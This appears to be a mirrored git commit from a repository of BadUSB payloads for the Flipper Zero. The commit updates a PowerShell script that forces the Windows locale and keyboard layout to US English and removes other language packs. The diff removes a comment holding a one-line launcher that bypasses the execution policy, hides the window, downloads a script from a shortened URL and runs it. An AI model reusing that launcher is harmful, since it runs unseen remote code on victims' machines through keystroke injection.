mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-05 20:40:14 -08:00
Update main.ps1
This commit is contained in:
@@ -1,9 +1,28 @@
|
||||
Function SetkbUS {
|
||||
<#
|
||||
powershell -ep bypass -w h -c irm is.gd/3jgz85 | iex
|
||||
#>
|
||||
|
||||
Dism /online /Get-Intl
|
||||
Set-WinSystemLocale en-US
|
||||
Set-WinUserLanguageList en-US -force
|
||||
|
||||
$languageList = Get-WinUserLanguageList
|
||||
$usLanguagePack = $languageList | Where-Object LanguageTag -eq 'en-US'
|
||||
if (-not $usLanguagePack) {
|
||||
Write-Host "US English language pack is not installed. Installing..."
|
||||
Install-WinUserLanguageList -Language 'en-US'
|
||||
}
|
||||
|
||||
SetkbUS
|
||||
foreach ($language in $languageList) {
|
||||
if ($language.LanguageTag -ne 'en-US') {
|
||||
Write-Host "Removing language pack: $($language.LanguageTag)"
|
||||
$languageList = $languageList | Where-Object LanguageTag -ne $language.LanguageTag
|
||||
}
|
||||
}
|
||||
|
||||
if (-not ($languageList | Where-Object LanguageTag -eq 'en-US')) {
|
||||
$languageList += [cultureinfo]::GetCultureInfo('en-US')
|
||||
}
|
||||
|
||||
Set-WinUILanguageOverride -Language 'en-US'
|
||||
Set-WinUserLanguageList -LanguageList $languageList -Force
|
||||
|
||||
Reference in New Issue
Block a user